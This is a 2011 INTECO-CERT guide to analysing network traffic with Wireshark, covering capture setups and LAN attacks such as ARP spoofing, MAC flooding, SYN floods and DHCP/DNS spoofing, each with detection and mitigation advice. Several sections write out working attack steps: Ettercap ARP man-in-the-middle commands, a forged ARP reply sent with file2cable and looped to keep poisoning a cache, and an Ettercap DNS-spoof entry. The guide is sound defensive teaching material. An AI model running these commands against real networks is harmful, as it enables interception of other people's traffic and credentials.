Wireshark Traffic Analysis

TRAFFIC ANALYSIS WITH
WIRESHARK

INTECO-CERT

February 2011

Author: Borja Merino Febrero
The National Communications Technology Institute (Instituto Nacional de Tecnologías de la Comunicación - INTECO)
recognises and is grateful to the following collaborators for their support in preparing this report. Manuel Belda, from the
regional government of Valencia's Computer Security Incident Response Team (CSIRT-cv) and Eduardo Carozo
Blumsztein from the ANTEL CSIRT of Uruguay.

This publication is the property of the National Communications Technology Institute (INTECO) and is governed by
the Spanish Creative Commons Non-commercial Recognition License 3.0. Therefore, copying, distributing, and
publicly communicating this work is permitted only under the following circumstances:
Recognition: The content of this report may be reproduced by third parties, in whole or in part, specifying its source
and expressly referring to both INTECO and its website: http://www.inteco.es. Said recognition may not, under any
circumstance, imply that INTECO supports these third parties or supports the use of this work.
Non-commercial Use: The original material and the resulting work may be distributed, copied and shown provided
that it is not used for commercial purposes.
When the work is reused or distributed, its license terms must be made very clear. Some of these conditions may be
not be applicable if the copyright license is not obtained from INTECO. Nothing in this license impairs or restricts
INTECO's moral rights.
http://creativecommons.org/licenses/by-nc-sa/3.0/es/
This document complies with the accessibility conditions for PDF (Portable Document Format). It is a structured and
labeled document, with alternatives to all non-textual elements, language mark-up and suitable reading order.
For further information on the design of accessible PDF documents, please visit the guide in the section Accessibility
> Training > Manuals and Page Guides http://www.inteco.es

Traffic Analysis with Wireshark

2

CONTENTS
1.
2.
3.

4.

5.
6.
7.

8.

9.
10.
11.

ANALYSING TRAFFIC
WHY WIRESHARK?
WHERE TO CAPTURE DATA
3.1.
Using a Hub
3.2.
Port Mirroring or VACL (VLAN-based ACLs)
3.3.
Bridge Mode
3.4.
ARP Spoof
3.5.
Remote Packet Capture
LOCAL AREA NETWORK ATTACKS
4.1.
ARP Spoof
4.1.1.
Practical Example
4.1.2.
Mitigation
4.2.
Port Flooding
4.2.1.
Description
4.2.2.
Mitigation
4.3.
DDoS Attacks
4.3.1.
Description
4.3.2.
Mitigation
4.4.
DHCP Spoof
4.4.1.
Description
4.4.2.
Mitigation
4.5.
VLAN Hopping
4.5.1.
Switch spoof attacks
4.5.2.
Double-tagging attack
4.5.3.
Mitigation
4.6.
Analysing malware
4.6.1.
Practical Example
4.6.2.
Mitigation
FILTERS
FOLLOW TCP STREAM
EXPERT INFO
7.1.
Introduction
7.2.
User Interface
7.2.1.
Execution
USE OF EXTERNAL TOOLS
8.1.
Snort
8.1.1.
Mitigation
8.1.2.
Converting formats
8.2.
Scripts
GRAPHS
CONCLUSIONS
INFORMATION SOURCES


4
5
6
6
7
8
8
9
12
12
12
14
16
16
17
18
18
19
23
23
26
27
27
28
29
29
30
32
33
38
40
40
40
40
42
42
43
43
43
45
48
49

3

1.

ANALYSING TRAFFIC

All network administrators have had to face at some time or another a loss in the
performance of the network managed. They know that cases like those are not always
easy, due to the lack of time and resources available, or not knowing about appropriate
tools or not knowing exactly why it is occurring. Sometimes connectivity is lost or some
terminals have been disconnected for no apparent reason.
Most of the time, the cause of these problems is not premeditated and is down to poor
network configuration, such as badly configured broadcast storms, spanning-tree,
redundant links, etc. However, sometimes the cause could be due to attacks by third
parties that try to put the web server out-of-service through means of a DoS (Denial of
Service) attack, sending traffic with an infected ARP in an attempt to discover hosts to
infect, or quite simply infecting terminals with malware to form part of a zombie network
or botnet.
In either case, knowing the source of the incident is the first step towards taking
appropriate action and achieving correct protection. That is when traffic analysers can
be extremely useful to detect, analyse and map traffic, identifying threats to the network
to limit their subsequent impact. To achieve that, there are advanced devices on the
market, such as the MARS (Monitoring, Analysis and Response System) by Cisco or
IDS/IPS (Intrusion Detection System/Internet Protocol System) based on hardware
from different manufacturers (Symantec, Fortinet, Nokia, etc.). However, these
solutions are not always within the reach of all companies because the cost does not
fulfill the basic proportionality principle (expense higher than profit gained) and
therefore its purchase can not be justified.
Because of that, and to cover the requirements of entities with more modest
technological infrastructures, INTECO-CERT presents this "Guide to analysing traffic
with Wireshark". The objective is to make administrators and technicians aware of the
advantages of auditing the network with a traffic analyser using the free and opensource tool Wireshark. It also offers practical examples of common attacks to local
networks that are currently enemy number one for corporate environments.
This document is divided into sections that deal with different real attacks to local
networks, such as ARP Spoof, DHCP Flooding, DNS Spoof, DDoS Attacks, VLAN
Hopping, etc. Wireshark is used as the main support tool to help detect, or to a greater
extent, analyse the problems generated by these attacks. At the same time, different
actions to resolve each example are proposed.


4

2.

WHY WIRESHARK?

Wireshark is an open-source protocol analyser designed by Gerald Combs that runs on
Windows and Unix platforms.
Originally known as Ethereal, its main objective is to analyse traffic as well as being an
excellent, easy-to-use application for analysing communications and resolving network
problems.
Wireshark implements a range of filters that facilitate the definition of search criteria
and currently supports over 1100 protocols (version 1.4.3), all with a simple and
intuitive front-end that enables you to break down the captured packets by layer.
Wireshark "understands" the structure of different networking protocols, so you are
able to view the fields of each one of the headers and layers of the packets being
monitored, providing a wide range of options to network administrators when
performing certain traffic analysis tasks.
Similarly to Tcpdump, Wireshark includes a command line version, called Tshark,
although this document focuses on its graphical-front end version. It is also important to
mention that the functions detailed in this document represent only a small proportion
of what Wireshark can do and is meant as a guide for any administrator who needs to
detect, analyse and resolve network anomalies.
Situations may occur in which Wireshark is not able to interpret certain protocols due to
a lack of documentation or standardizations. In that case, reverse engineering would
be the best approach.
Other tools, such as Snort, OSSIM and a number of IDS/IPS can serve to warn you of
some of the problems and attacks described in this guide. However, when you need to
analyse traffic in depth or audit an environment when time is of the essence, these
tools lack the flexibility that a protocol analyser such as Wireshark offers.


5

3.

WHERE TO CAPTURE DATA

The first step in auditing networks is to define where to analyse the traffic.
Picture yourself in a common scenario. You find yourself in a switched environment
made up of a number of switches, several terminals and a file server. Network
performance has dropped in recent days and the cause is unknown.
You do not have an IDS (Intrusion Detection System) that can raise the alarm or inform
of attacks or network malfunction, and you know that there are no problems with the
transfer rate of the file server to LAN (Local Area Network) terminals. Furthermore,
your network equipment does not have Netflow protocols to analyse traffic remotely,
which is why you decide to use Wireshark. The first doubt that comes to mind is where
to install it.
It would seem logical to install Wireshark on the file server itself to analyse the traffic
that flows through this network segment, but you could come across situations in which
you can not access the server physically or quite simply for security reasons, such as
SCADA (Supervisory and Control Data Acquisition) environments, you can not install it
there.
Some alternatives will be provided with usage techniques that enable you to capture
traffic without having to install Wireshark on the server. The exception to the rule would
be in the latter case, where several methods are given to perform remote capture in
which case it is necessary to execute, or at least install, applications on the terminal
you wish to analyse.

3.1.

USING A HUB

If you connect a terminal with Wireshark to one of the switch ports, you will only see the
packets that occur between the switch and your terminal, and that is not what you
want. The switch divides the network into segments creating separate collision
domains, which eliminates the need for each packet to compete for the network
segment. The packets are only sent to all ports (belonging to the same Virtual LAN VLAN) when it is a broadcast domain (for example, to know the physical address of a
terminal).
One alternative to meet this objective is to use a hub, as illustrated in Figure 1- Capture
Modes, connecting it to the same network segment on your server. Now that it is a
shared, all traffic between the switch and the server can be analysed on your terminal..


6

3.2.

PORT MIRRORING OR VACL (VLAN-BASED ACLS)

As long as you have access to the switch and support this functionality, it is the most
convenient way to capture network traffic. This way of working, known as Services and
Protocols for Advanced Networks (SPAN) in Cisco environments, enables you to
duplicate the traffic between one or more switch ports and mirror it to the port that you
want. It is important note that the port configured as mirroring has to be as fast as the
port(s) to be monitored to avoid segment loss. This method is used by many
administrators to install IDS or other analysis tools.
One advantage VACL has over Port Mirroring is that it allows for better granulation
when specifying the traffic you want to analyse. When configuring Port Mirroring, it is
possible to redirect traffic from one port or VLAN to another; with VACL it is possible to
specify ACLs to select the type of traffic you are interested in.1.
In the following example, a VLAN Access Map is defined to forward and capture
packets that coincide with the traffic defined in lab_10 and used in VLANS 14,15 and
16:

Router(config)# vlan access-map bmf 10
Router(config-access-map)# match ip address lab_10
Router(config-access-map)# action forward capture
Router(config-access-map)# exit
Router(config)# vlan filter bmf vlan-list 14-16
Router# show ip access-lists lab_10
Extended IP access list lab_10
permit ip 10.0.0.0 0.255.255.255 any

Some Cisco devices have a functionality available called Mini Protocol Analyser that
enables you to capture traffic from a SPAN session and save the packets in a local
buffer to be exported to a .cap file at a later time. This functionality also enables you to
specify filter options to limit the packet capture; for example, you can specify packet
types that have a certain EtherType or those identified in a previously configured
Access Control List (ACL). It also uses libpcap as the capture format, so it can be used
by Wireshark or any other protocol analyser for subsequent analysis2.

1

Cisco: VACL Configuration
https://www.cisco.com/en/US/docs/switches/lan/catalyst6500/ios/12.2SXF/native/configuration/guide/vacl.
html
2
Cisco: Mini Protocol Analyser
https://www.cisco.com/en/US/docs/routers/7600/ios/12.2SR/configuration/guide/mpa.html


7

3.3.

BRIDGE MODE

If you are not able to access the switch, you can use a machine with two network cards
to position yourself between the switch and the server, as illustrated in Figure 1. This is
a MitM (Man in the Middle), at the physical level, where you have passive access to all
traffic throughput.
There are several ways in which you can configure your PC in this mode and it is easy
to install and configure bridge-utils (bridge packet utilities for Linux). All that is
necessary is to create a bridge-type interface and thereafter add the physical interfaces
that form part of this bridge. Lastly, you activate the interface and execute Wireshark.
The disadvantage of this capture method is the loss of segments during installation,
something that under certain circumstances is unacceptable. Here is an example of its
configuration:
root@bmerino:~# brctl addbr mybridge
root@bmerino:~# brctl addif mybridge eth1
root@bmerino:~# brctl addif mybridge eth0
root@bmerino:~# ifconfig mybridge up

3.4.

ARP SPOOF

On certain occasions, if you can not use the previous methods, you can use tools such
as Ettercap or similar to create a MitM (Man in the Middle). It is important to understand
that this is a rather offensive method and that it is only useful in non-critical
environments where there is a need to intercept traffic between various machines.
What is achieved is that the machine you want to monitor sends all segments via your
PC where you have Wireshark executing. The process is performed by infecting the
cache of the machines involved with a false IP/MAC association. Some switches have
functions available that enable you to detect this process (see Dynamic ARP Inspection
and DHCP Snooping3), so it is important that you deactivate this function in the network
devices if you do not what your port to go into shutdown mode. To go between the
server (10.0.0.100) and the gateway of your LAN (10.0.0.1), all you need to do is
execute Ettercap in the following way:
root@bmerino:~# ettercap -T -M arp:remote /10.0.0.1/ /10.0.0.100/ &

3

Cisco: Configuration of the security measures for Layer 2 devices.
http://www.cisco.com/en/US/products/hw/switches/ps5023/products_configuration_example09186a00807c
4101.shtml
Cisco: ARP infection and mitigation measures.
http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/white_paper_c11_603839.html


8

Figure 1- Capture Modes

3.5.

REMOTE PACKET CAPTURE

In addition to the methods mentioned above, there are several options for capturing
data remotely. One of them is by means of a RPCAP (Remote Packet Capture
System). However, in this case, it would be necessary to execute a server program
(rpcapd) along with the required libraries on the machine to monitor and a client
program from which the same will be recovered and viewed; in this case, Wireshark.
As mentioned previously, this method is appropriate for non-critical environments
where you can install software in the machine whose traffic you wish to analyse, with
the associated stability and performance risks.
For the server configuration, all you have to do is execute rpcapd.exe, included in the
installation of WinPcap 4.0 (libpcap libraries on Window machines) or higher.
You can specify the listening port and other options such as authentication, authorised
client lists to connect to the server, etc. The operating mode can be active or passive.
In the first case the daemon tries to establish a connection with the client so that it
sends the appropriate commands to the server. This operation mode is useful when the
daemon is behind a Firewall with no Network Address Translation (NAT) configured for
its connection from the outside. In the second case, it is the client that initiates the
connection with the server to start monitoring data.

Figure 2- Capturing data with rpcapd


9

The client has to specify the address, port, credentials (if requested by the server) and
the interface from which you want to capture the packets. In Wireshark, this is
performed by Capture >> Options, specifying in Interface the Remote type:

Figure 3 - Connecting to rpcapd server

It is important to mention that if the capture is performed in the same interface that the
RPCAP protocol is using to transfer the data between daemon and client, those
packets are also displayed in Wireshark and that could complicate their interpretation.
You can prevent these packets interfering with the rest. To do this, you need to select
the option "Do not capture own RPCAP traffic" in "Remote Settings".
Another alternative to RPCAP for remote data capture is to redirect the output of
tcpdump from a ssh (Secure SHell) connection. Logically, in this case, the machine to
monitor needs to have access to ssh and have tcpdump installed4:

Figure 4 – tcpdump

Once your machine is configured, using any of the previous methods, you can launch
Wireshark as root/administrator. To start capturing, select the interface from the menu
Capture >> Interfaces (if you have chosen to use the bridge mode, you can use either
of the two).

4

Urfix: 9 ways to take a huge Tcpdump
http://blog.urfix.com/9-ways-huge-tcpdump/
S21sec: Remote network captures.
http://blog.s21sec.com/2009/10/capturas-de-red-remotas-para.html
Winpacap: Configuring the Remote Daemon
http://www.winpcap.org/docs/docs_40_2/html/group__remote.html#Config


10

Figure 5- Wireshark Areas

The following offers a brief description of the most interesting areas that Wireshark
displays once data capture starts (Figure 5- Wireshark Areas):
•

Zone 1 is the area where filters are defined and, as you will see later, enables
you to define search patterns to view those packets or protocols that are of
interest to you..

•

Zone 2 corresponds to a list to view of all packets being captured in real time.
Knowing how to interpret the data given in this zone correctly (protocol type,
number sequence, flags, time stamps, ports, etc.) enables you to, under certain
circumstances, identify the problem without having to perform a detailed audit.

•

Zone 3 enables you to classify, by layer, each header of the packets selected in
zone 2 and you can navigate through each field of the same.

•

Lastly, Zone 4 represents, in hexadecimal format, the packet in the state in
which it was captured by your network card.


11

4.

LOCAL AREA NETWORK ATTACKS
4.1.

4.1.1.

ARP SPOOF
Practical Example

In addition to being a way in which to capture in specific circumstances, Arp Spoof is
normally used by attackers to intervene between one or more machines with the aim of
intercepting, modifying or capturing packets. This rather intrusive method is reflected in
Figure 5- Wireshark Areas, where you can quickly see that something suspect is
occurring due to the large quantity of ARP traffic that is being received. If you take a
more detailed look at the behaviour of the protocol, you will realize that the server is
being attacked.
In packet number 5, you can see how the machine with IP 10.0.0.101, and a Message
Authentication Code (MAC) IntelCor_6e:a2:69, has launched an ARP request to the
broadcast address asking for the MAC of the IP 10.0.0.1 (your network gateway).
Immediately afterwards, the router responds with an ARP reply indicating the MAC
address. Then the same IP repeats the process and requests the MAC of the IP
10.0.0.100 (file server) using another broadcast diffusion. The server responds with its
MAC address (IntelCor_49: bd:93). Everything has been normal up to this point. We
have a machine on our LAN (10.0.0.101), that has the MAC server and the router and
they can now share Ethernet traffic. The problem occurs with packet 11, when this
machine repeatedly sends to your server and the router false ARP reply packets,
associating the IP of both with its own MAC (IntelCor_6e:a2:69). This way, all traffic
transmitted between the LAN gateway and the server goes through the attacking
machine. Tools such as Ettercap, Cain and Abel or the Dsniff suite permit these types
of attacks without having to know in detail Ethernet functionality or ARP protocol which
increases the danger level because the attacker does not need to have advanced skills
to capture protocol conversations that travel in plain text, obtain passwords, files,
redirect traffic, etc.5

Figure 6- DSniff

5

Seguridadyredes: Wireshark/Tshark. Capturing network impressions.
http://seguridadyredes.nireblog.com/post/2010/03/24/wireshark-tshark-capturando-impresiones-en-red
Elladodelmal. Playing with LDAP.
http://www.elladodelmal.com/2008/04/jugando-con-ldap-i-de-iii.html


12

Thanks to the information provided by Wireshark, it could be useful in certain
circumstances (pentesting, auditing, etc.) to generate frames or packets and send them
via an interface. There are excellent tools available6 for that purpose, such as Scapy,
which enables you to create all types of packets from scratch. It is not complicated to
do the same with traffic captured in Wireshark.
Following the example above, you can capture a valid ARP packet, modify it and send
it via an interface to infect the ARP cache of a particular machine.
The raw data format of an ARP reply generated by your machine to an ARP request is
then shown. You can look for these packets with the following filters arp.opcode ==
0x0002 (ARP reply):

Figure 7- ARP Spoof

As previously mentioned, the hexadecimal text shown in the lower portion corresponds
to the segment transmitted by the network. Therefore, there is nothing that stops
someone from taking those values, modifying them and resending them. To do this,
right-click “Frame 46” and select “Export Selected Packet Bytes” and save the segment
in a file.
At a later stage you can modify the segment creating an ARP reply with any kind of
Hexadecimal Editor. You can send a modified ARP reply to machine 192.168.254.245
with MAC 00:15:58:e8:50:0e so that it passes through the gateway (IP
192.168.254.254 with MAC 00:0e:0c:c6:c5:82):

6

Phenoelit-us: Suite of tools to audit a variety of network protocols.
http://phenoelit-us.org/irpas/docu.html


13

Figure 8- Editing ARP Reply packets

After modifying the segment, you can send it directly to the interface connected to your
LAN by using file2cable (see reference7):
root@borjaBT:~# file2cable -i eth0 -f arpreply
To verify it has worked, you can check the ARP cache of the subject of the attack:

Figure9- ARP Cache

You can maintain the attack, for example, with a script that executes the instruction in a
loop. This way you are constantly infecting the cache of the attack target with the result
that it sends all directed packets outside the LAN to the attacking machine. Logically,
for this attack to be successful, you will need to perform the same operation with the
gateway cache or the machine under attack to create a full MitM (Man in the Middle).

4.1.2.

Mitigation

There are a great many free tools8 designed to detect this type of attack (see
Arpwatch, Nast, Snort, Patriot NG, ArpON, etc) that generate alerts when an abnormal
use of the ARP protocol is detected. Look at the output that Arpwatch generates when
changes are detected in ARP/IP assignments.

Figure 10- Arpwatch

The first two lines show an example of this: the MAC 08:00:27:f3:b1:0b, belonging to
the attacker, is trying to userp the MAC 0:0e:0c:c6:c5:82, belonging to the legitimate
gateway by using false ARP requests.

7

Backtrack Italy- Using file2cable to falsify ARP packets.
http://pool.backtrack.it/BackTrack_4/Privilege_Escalation/Sniffers/Wireshark.pdf
8

INTECO: Free protocol analysis tools.
http://cert.inteco.es/software/Proteccion/utiles_gratuitos/Utiles_gratuitos_listado/?idLabel=2230152&idUser
=&idPlatform=

14

In the case of Snort, this has a prefix processor ARP designed to generate alerts in the
case of an ARP Spoof Attack.. To activate it, you must uncomment the following line in
snort.conf:
#preprocessor arpspoof

then add the IP/MAC pairs to the machines that you want to monitor so that the prefix
processor observes an ARP packet where the IP address of the sender coincides with
one of the added entries and the MAC address of the sender does not coincide with
that saved, Snort generates an alert. To add an entry to snort.conf write:
preprocessor arpspoof_detect_host: 192.168.254.254 00:0e:0c:c6:c5:82

If you now execute Snort, it will warn you if there is an attempt to falsify the gateway
MAC. Take note of the output that is produced when an attacker executes Ettercap:

Figure 11- Snort (ARP cache overwrite)

Another focus of attention for administrators is the search for cards that are functioning
in a disordered way, which is quite common in this type of scenario. Tools such as
Neped, Sentinel, AntiSniff or SniffDet are quite useful as they detect cards in this state.


15

The following is an example of output generated by Nast:9

Figure 12- Nast

Attacks such as this or others as original as the one shown by Chris John Riley with his
script in python prn-2-me10 to store and redirect PCL and PostScript work to a physical
printer, are examples of the scope of a MitM (Man in the Middle) attack.

4.2.
4.2.1.

PORT FLOODING
Description

A similar example to the previous one, although easier to detect, is sending multiple
false segments to a port in order to saturate the switch assignment table. Normally, a
switch has an internal memory called CAM (Content-Addressable Memory), where
ports are assigned to MAC addresses. When a segment gets to a port, the CAM adds
an entry to the table specifying the MAC of the machine that sent the segment along
with the port in which it is located. In this way, when the switch receives a segment
directed to this machine it knows from what port it must send it.
If the destination of the segment is unknown, because the machine has not managed
to generate the traffic or because the associated entry to this machine has expired, the
switch copies the segment and sends it to all ports of the same VLAN except to the
port that received it. This way, all machines connected to the switch receive this
segment and only the corresponding machine with a MAC that coincides with the
segment destination MAC replies, enabling the switch to add an entry in the CAM table
with the new MAC/port association. With this, the switch does not need to flood all
ports with future packets destined to this machine.

9

Seguridadyredes: Detecting sniffers in switched networks.

http://seguridadyredes.nireblog.com/post/2009/11/27/detectando-sniffers-en-nuestra-red-redesconmutadas-y-no-conmutadas-actualizacion
10

Blog.c22: “Man in the Middle Printers”
http://blog.c22.cc/2009/03/22/man-in-the-middling-printers/


16

However, what happens if hundreds of segments are sent falsifying the source MAC of
the machine and fill up the CAM table? If that happens, the behaviour depends on the
manufacturer. Low-end switches do not contain virtual CAM tables; that is, if the table
has a maximum number of entries for saving MAC/port associations, and a machine
fills that table with n entries, the table fills up and all VLANs are infected. 11
For virtual CAM tables, a separate space for addresses for each VLAN is maintained.
That way, only machines with their own VLAN are affected.
Yersinia or Macof enable you to generate packet flooding with randomly created MAC
to saturate the switch assignment table:

Figure 13- Macof

4.2.2.

Mitigation

Detecting this type of attack using a protocol analyser is easy. All you have to do is
monitor the traffic generated by this network segment and you will see a large quantity
of segments with random values.
In Wireshark you see the following:

Figure 14 - Capturing packets generated by Macof

The reason for showing “malformed packets” is due to the way in which Macof builds
TCP packets without taking into account protocol specifications.
As previously mentioned, this attack takes place when there is packet flooding in all
ports for all VLANs (when there are no virtual tables) once the assignment table is full.

11

Cisco Book: What Hackers Know About Your Switches.(Pg. 29)
Author: Eric Vyncke, Christopher Paggen
ISBN: 978-1-58705-256-9 Auto
http://www.ciscopress.com/bookstore/product.asp?isbn=1587052563


17

In that case, it is also possible to let Wireshark eavesdrop on any switch ports and
monitor for illegitimate segments being received.
Medium/high-end switches can be configured with specific parameters to reduce this
type of attack. Some of the parameters that can be configured are: the flooding level of
packets allowed by VLAN and MAC (Unicast Flooding Protection), the number of MAC
by port (port security) and the expiry time of the MAC in the CAM table (ageing time),
amongst others12.

4.3.
4.3.1.

DDOS ATTACKS
Description

Figure 15 represents an example of distributed denial-of-service (DoS) attacks on a
small scale, performed by hping2 that stands out as soon as the capture process
starts. In this case, an Apache is installed on machine 10.0.0.101 and you can see a
large number of TCP segments with the SYN flag activated from the same IP that do
not receive a response from the web service.
You can see the packet sequence graphically by selecting from the menu Statistics, >>
Flow Graph. This tool enables you to track the behaviour of TCP connections because,
as you can see in the image, it intuitively illustrates, using arrows, the source and target
of each packet, highlighting the active flags that intervene in each connection flow.
In each case, you can see in a short period of time that there are a number of
connection attempts by the IP 10.0.0.200 to port 80 of machine 10.0.0.101, a rather
unusual situation. The server has tried to resolve the MAC of the client machine
several times, one of which you can see in packet 7852, but when no response is
received and not having the physical address of the host, it can not send an ACK-SYN
to the same to continue with the three-step connection.
This means that the TCP/IP stack of the server has to wait for a set time for each
connection. During this time more packets keep arriving that create new connections.
For each connection that tries to be made, a structure in memory called TCB
(Transmission Control Block) is created and used by the TCP/IP stack of the operating
system to identify each connection (local and remote sockets, current segment,
pointers to send and reception buffers, etc) and, with a high number, to end the
resources of the machine so that the machine stops responding to more connection
requests.

12

Cisco: Configuring Port-Based Traffic Control
http://www.cisco.com/en/US/docs/switches/lan/catalyst3550/software/release/12.2_25_see/configuration/g
uide/swtrafc.html


18

Figure 15- Flow Graph

Similar to this type of attack was that performed recently by the group Anonymous,
4chan against Amazon and Paypal servers using LOIC (Low Orbit Ion Cannon) and
HOIC (High Orbit Ion Cannon) tools due to a dispute with Wikileaks. These tools are a
very user friendly interface in which you can choose different attack options such as
UDP, TCP or HTTP, as well as the speed and the number of simultaneous threads.

4.3.2.

Mitigation

There are a great number of DDoS attacks, in addition to those previously mentioned:
Direct Attacks, TTL expiry attack, IP unreachable attack, ICMP transit attacks,
Reflection Attacks, etc. They are very difficult to contain, especially when it involves a
high volume of traffic. 13
Owning devices that enable you to stop these attacks are expensive, making
contacting the ISP the most appropriate action.
However, when the DDoS attack is not that excessive, an appropriate configuration of
the operating system and affected service could help to counteract the attack. For
example, there are Linux kernel parameters that enable you to modify the behaviour
when faced with certain circumstances, which are very useful to protect your server
against certain circumstances. Some of these parameters can be found in
/etc/sysctl.conf:

13

IETF: TCP SYN Flooding Attacks and Common Mitigation
http://www.ietf.org/rfc/rfc4987.txt

19

•

tcp_syncookies: protects you against Syn Flood attacks (like the one
described above). The way it works is as follows: when the syn segment
request queue completes, the kernel responds with a syn-ack segment as
normal, but creates a special, encrypted sequence number that represents the
source and target IP, the port and the timestamp of the received packet.
That way, the syn entry in the backlog (pending connections queue) is no
longer necessary because it can be rebuilt from the sequence number received.
You can activate syn cookies with:
sysctl -w net.ipv4.tcp_syncookies=1

•

ignore_broadcasts: One type of DDoS attack are the well known Smurf
attacks in which ICMP (echo request) packets are sent to a broadcast address
with a false IP source. This false IP is the target of the attack, as it receives
multiple echo reply response packets as a result of the broadcast packet sent
by the attacker. One way of deactivating the ICMP echo-broadcast requests is
by activating the following option:
sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1

•

rp_filter: Known also as source route verification, it has the same purpose as
Unicast RPF (Reverse Path Forwarding) 14 and uses Cisco routers. It is used to
check that the packets that enter via an interface are accessible based on the
source address, making it possible to detect IP Spoofing:
sysctl -w net.ipv4.conf.all.rp_filter=1

For attacks that are performed by programs like LOIC, it is also possible to implement
measures using iptables and hashlimit modules to limit the number of packets that you
want a particular service to accept.
Sectechno proposes the following configuration to limit HTTP connections to your web
server15:
iptables -A INPUT -p tcp --dport 80 -m hashlimit --hashlimit-upto
50/min --hashlimit-burst [X] --hashlimit-mode srcip --hashlimit-name
http -j ACCEPT

14

Cisco: Reverse Path Forwarding
http://www.cisco.com/web/about/security/intelligence/unicast-rpf.html
15
Layer 7 Attacks: iptables and hashlimit
http://www.sectechno.com/2011/01/25/preventing-layer-7-ddos-attack/

20

The clauses hashlimit-burst and hashlimit-upto set the maximum size of the bucket and
the number of IP packets that limit the connections to port 80. You can also take steps
to resist numerous forceful attacks at services such as ssh, ftp, etc. by limiting the
number of IPs allowed per minute.
iptables -A INPUT -p tcp --dport 22 -m hashlimit --hashlimit 1/min
--hashlimit-mode srcip --hashlimit-name ssh -m state --state NEW -j
ACCEPT

Regardless of the measures adopted in the operating system, it is recommended that
public services such as web services, FTP, DNS, etc located in a DMZ (Demilitarised
Zone) are made secure separate to the rest. For example, in the case of Apache it
would be very useful to give it modules such as mod_evasive, mod_antiloris,
mod_security, mod_reqtimeout or similar to help fight against a great variety of DDoS
attacks against this platform (http post attack, http get attack used by Slowloris, etc. )16
There are several tools that you can use to test your web server against this type of
attack and in this way check its resistance against it. Examples of this are script in
python r-u-dead-yet/RUDY developed by Raviv Raz or the OWASP HTTP Post Tool17
developed by Tom Brennan.

Figure 16- R-U-Dead-Yet python script

16

SecurityByDefault: Slowloris, Two for Apache
http://www.securitybydefault.com/2009/07/slowloris-dos-para-apache.html
SecurityByDefault: Top recommended modules for Apache
http://www.securitybydefault.com/2010/08/top-modulos-recomendados-para-apache.html
17

Owasp: HTTP Post Tool
http://www.owasp.org/index.php/OWASP_HTTP_Post_Tool

21

Correctly isolating the machines located in the DMZ by using technologies such as
PVLAN18 (Private VLAN), Port Isolation or similar prevents a machine compromised in
a DMZ19 from attempting to access another of the services in the same network
segment.
Wireshark supports the geolocalisation services of MaxMind, which means you can
obtain towns and countries associated with the captured IPs giving information about
the origin of the packets. In certain scenarios in which you are victim to a DDoS or in
the case of Botnets, it can be very useful to know the source visually. To do this, you
need to download and add the GeoIP, GeoLiteCity and GeoIPASNum databases from
http://www.maxmind.com to Wireshark using Preferences >> Name Resolution >>
GeoIP database.
Then, from the header of Internet Protocol, in one of the packets you are interested in,
right-click and select the option “Enable GeoIP lookups”.
Lastly, from the Statistics, in the IPv4 tab, you can see the towns, countries and AS
numbers along with the rest of the statistics. From there, click Map to obtain a graphic
representation.20

Figure 17- Geolocalisation in Wireshark

18

Cisco: Configuring Isolated Private VLANs
http://www.cisco.com/en/US/tech/tk389/tk814/technologies_configuration_example09186a008017acad.sht
ml
19
Cisco: Demilitarised Zone (DMZ) Port
http://www.cisco.com/en/US/docs/ios/12_3/12_3x/12_3xr/dmz_port.html
20

Lovemytool. Geolocalisation with Wireshark.
http://www.lovemytool.com/blog/2009/07/joke_snelders2.html


22

4.4.
4.4.1.

DHCP SPOOF
Description

Another type of less well known attack, but as efficient as the ARP Spoof, consists of
falsifying Dynamic Host Configuration Protocol (DHCP) packets. The attack installs a
false DHCP or software that emulates the functions of the same in such a way that it
responds to DHCPDISCOVER client requests. You need to analyse the steps taken
between client and legitimate DHCP server to understand the attack in greater detail:
•

When a computer connects to the network and requests an IP address, it sends
a DHCPDISCOVER to the broadcast address (User Datagram Protocol - UDP)
waiting for the response of a DHCP server.

•

The DHCP server replies to this request by sending a unicast packet called
DHCPOFFER containing several configuration parameters (IP, gateway, etc.).

•

Up to this point, the client can receive offers from various DHCP services for
which it uses the following criteria: if the proposed offer corresponds to a
previously assigned address (saved by the client) the client selects this one. If
the proposal is not related to the previous IP address, the client acquires the
first offer received.

•

In response to this offer, the client sends a DHCPREQUEST to the broadcast
address asking for authorisation to use this configuration to which the server
responds either with a unicast DHCPACK packet authorising the use of this
configuration or with a DHCPNAK denying the use of those parameters.

Figure 18- Negotiating DHCP

The interesting part is that the DHCP protocol does not have authentication
mechanisms that enable you to verify the source of the packets during the negotiation
of these configuration parameters. To this end, there is nothing that stops an attack
falsifying DHCPOFFER packets supplying false information to the client.
A possible attack scenario consists of supplying, as linking port, the IP of the attacker
itself to receive packets destined to go outside the LAN. The attacker routes these
packets to the legitimate site to make the attack completely transparent to the user.


23

In the same way, the attack can falsify DNS responses specifying its IP as DNS server
to be able to manipulate any subsequent name resolutions.
If you come across this type of situation, Wireshark informs you of any abnormal use of
DHCP protocol. Another symptom could be the generation of errors on your machines
due to duplicated IPs.
Tools such as Yersinia, Ettercap or by just configuring a DHCP server in the attacking
machine, such as dhcpd3, are sufficient to create an MitM (Man in the Middle) using
falsified DHCP responses.
Here is an example. An attacker configures
a dhcpd3 server on a Linux machine with
the parameters detailed in the previous
figure (/etc/dhcp3/dhcpd.conf). In it, a
range of 4 obsolete IP addresses are
configured (that do not have a DNS PTR
register between them, that are not
listening for common services or just
listening to legitimate responses from the
DHCP server) and a default, legitimate
Figure 19- Configuring dhcpd.conf
gateway (192.168.254.255), specified as
DNS
server,
the
attacking
IP
(192.168.254.211). Prepare Ettercap to falsify certain DNS responses as well21:
echo www.inteco.es A 192.168.254.211 >> /usr/share/ettercap/etter.dns

When a user connects to the network and requests an IP via DHCP, the false server
facilitates all the required data and as DNS server, the attacking IP:

Figure 19- DNS Spoof

21

